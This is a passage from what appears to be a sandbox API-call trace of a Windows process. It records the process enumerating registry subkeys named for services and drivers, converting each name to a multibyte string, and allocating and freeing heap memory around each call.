Networking") returned 0x0 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.494] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.494] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.494] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.494] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0184.494] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.495] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.495] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.495] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.495] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0184.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.496] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.496] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.496] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0184.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.497] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.497] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.497] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0184.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0184.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.499] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.499] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.499] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 